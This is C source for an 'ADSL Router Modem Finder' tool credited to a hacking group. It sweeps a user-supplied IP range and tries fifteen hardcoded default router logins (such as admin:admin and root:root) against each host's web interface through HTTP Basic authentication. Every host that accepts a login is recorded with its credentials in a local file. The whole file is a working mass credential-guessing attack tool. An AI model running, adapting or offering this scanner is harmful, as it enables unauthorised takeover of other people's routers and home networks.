    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <signal.h> 
    #include <netdb.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
#define TIMEOUT 5;
int sd;
unsigned int timeout =0;
char sn[500];
void senter(int sira)
{
strcpy(sn,"GET / HTTP/1.1\n");
strcat(sn,"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, ");
strcat(sn,"application/x-shock wave-flash,application/msword, */*\n");
strcat(sn,"Accept-Language: tr\n");
strcat(sn,"Accept-Encoding: gzip, deflate\n");
strcat(sn,"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\n");
strcat(sn,"Host: 10.0.0.2:8080\n");
strcat(sn,"Connection: Keep-Alive\n");
switch(sira)
{
case  0:
strcat(sn,"Authorization: Basic bWFuYWdlcjpmcmllbmQ=\n\n\n");
break;
case  1:
strcat(sn,"Authorization: Basic cm9vdDpyb290\n\n\n");
break;
case  2:
strcat(sn,"Authorization: Basic c2V0dXA6cm9vdA==\n\n\n");
break;
case  3:
strcat(sn,"Authorization: Basic YWRtaW46YWRtaW4=\n\n\n");
break;
case  4:
strcat(sn,"Authorization: Basic YWRtaW46cGFzc3dvcmQ=\n\n\n");
break;
case  5:
strcat(sn,"Authorization: Basic YWRtaW46ZXBpY3JvdXRlcg==\n\n\n");
break;
case  6:
strcat(sn,"Authorization: Basic YWRtaW46Y29yZWNlc3MzMTEz\n\n\n");
break;
case  7:
strcat(sn,"Authorization: Basic ZGFyZTo=\n\n\n");
break;
case  8:
strcat(sn,"Authorization: Basic ZG9zdDpkb3N0\n\n\n");
break;
case  9:
strcat(sn,"Authorization: Basic Og==\n\n\n");
break;
case  10:
strcat(sn,"Authorization: Basic YWRtaW46Y29uZXhhbnQ=\n\n\n");
break;
case  11:
strcat(sn,"Authorization: Basic YWRtaW46a29udDIwMDQ=\n\n\n");
break;
case  12:
strcat(sn,"Authorization: Basic RFNMOkRTTA==\n\n\n");
break;
case  13:
strcat(sn,"Authorization: Basic YWRtaW46em9vbWFkc2w=\n\n\n");
break;
case  14:
strcat(sn,"Authorization: Basic YWRtaW46MTIzNA==\n\n\n");
break;
}
}

void catch_alarm(int sig_num)
{
close(sd);

}


void sconnect(char host[16],int port)
{
FILE *f;
int degis=0;
char * pch;
char * pck;
int cc;
char buf[300];
bidaha:
f = fopen("bulunan.txt","a+");

struct sockaddr_in their_addr;
signal(SIGALRM, catch_alarm);
//////////////////////////////////////////77
sd = socket (AF_INET,SOCK_STREAM,0);
their_addr.sin_family = AF_INET;    // host byte order
their_addr.sin_port = htons(port);  // short, network byte order
their_addr.sin_addr.s_addr = inet_addr(host);
//memset(&(their_addr.sin_zero), '\0', 8);  // zero the rest of the struct
alarm(1);
 cc = connect(sd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) ;
if (cc <0)
{
}
else
{
if (port < 24) {
port = 80 ;
close(sd);
fclose(f);
goto bidaha;
}

senter(degis);
git:
send(sd, sn, sizeof(sn), 0);
recv(sd, buf,15, 0);
close(sd);

if (strstr(buf,"200") || strstr(buf,"302"))
{
switch (degis)
{
case 0 : printf ("%s UserPass[manager:friend]\n",host);fprintf (f,"%s UserPass[manager:friend]\n",host);break;
case 1 : printf ("%s UserPass[root:root]\n",host);fprintf (f,"%s UserPass[root:root]\n",host);break;
case 2 : printf ("%s UserPass[setup:root]\n",host);fprintf (f,"%s UserPass[setup:root]\n",host);break;
case 3 : printf ("%s UserPass[admin:admin]\n",host);fprintf (f,"%s UserPass[admin:admin]\n",host);break;
case 4 : printf ("%s UserPass[admin:password]\n",host);fprintf (f,"%s UserPass[admin:password]\n",host);break;
case 5 : printf ("%s UserPass[admin:epicrouter]\n",host);fprintf (f,"%s UserPass[admin:epicrouter]\n",host);break;
case 6 : printf ("%s UserPass[admin:corecess3113]\n",host);fprintf (f,"%s UserPass[admin:corecess3113]\n",host);break;
case 7 : printf ("%s UserPass[dare:]\n",host);fprintf (f,"%s UserPass[dare:]\n",host);break;
case 8 : printf ("%s UserPass[dost:dost]\n",host);fprintf (f,"%s UserPass[dost:dost]\n",host);break;
case 9 : printf ("%s UserPass[:]\n",host);fprintf (f,"%s UserPass[:]\n",host);break;
case 10 : printf ("%s UserPass[admin:conexant]\n",host);fprintf (f,"%s UserPass[admin:conexant]\n",host);break;
case 11 : printf ("%s UserPass[admin:kont2004]\n",host);fprintf (f,"%s UserPass[admin:kont2004]\n",host);break;
case 12 : printf ("%s UserPass[DSL:DSL]\n",host);fprintf (f,"%s UserPass[DSL:DSL]\n",host);break;
case 13 : printf ("%s UserPass[admin:zoomadsl]\n",host);fprintf (f,"%s UserPass[admin:zoomadsl]\n",host);break;
case 14 : printf ("%s UserPass[admin:1234]\n",host);fprintf (f,"%s UserPass[admin:1234]\n",host);break;
}
}
else
{
degis++;
if (degis > 14) goto cik;
senter(degis);

fclose(f);
goto bidaha;

}
cik:
printf("");
}
close(sd);
////////////////////////////////////////
fclose(f);
}


int main(int argc, char *argv[])
{
int sig;
int t1,t2,t3,t4;
int total;
char ip[16];
unsigned int ip1,ip2,ip3,ip4;
unsigned int fip1,fip2,fip3,fip4;

int z,port,work;
printf("\t        ***********************************************************\n\t");
printf("\t*       Tio Coder Of The REDHACK TEAM 1997-2006           *\n\t");
printf("\t*              irc.ulak.net #redhack                      *\n\t");
printf("\t*               http://www.red-hack.org                   *\n\t");
printf("\t*               ADSL Router Modem Finder                  *\n\t");
printf("\t***********************************************************\n\t");
if (argc != 3) {
            fprintf(stderr,"usage: adsl starip finiship\n");
            exit(1);
        }
sscanf(argv[1],"%d.%d.%d.%d",&ip1,&ip2,&ip3,&ip4);
sscanf(argv[2],"%d.%d.%d.%d",&fip1,&fip2,&fip3,&fip4);
port = 23;
t1=fip1-ip1;
t2=fip2-ip2;
t3=fip3-ip3;
t4=fip4-ip4;
t1 = (t1*255) + t2;
t2 = (t1*255)+t3;
total = (t2*255)+t4;
if (total <1)
{ printf("Bitis Ip si Baslangic Ip sinden Kucuk Olamaz\n"); 
exit(1);
}
sig = 1;
printf("Taranacak Ip Sayisi : %d\n\n",total);
while(sig<total)
{
if (ip4 >255) {ip4 = 1; ip3++;}
if (ip3 >255) {ip3++; ip2++;}
if (ip2 >255) {ip2++; ip1++;}
sprintf(ip,"%d.%d.%d.%d",ip1,ip2,ip3,ip4);
sconnect(ip,port);
sig ++;
ip4++;
}
}
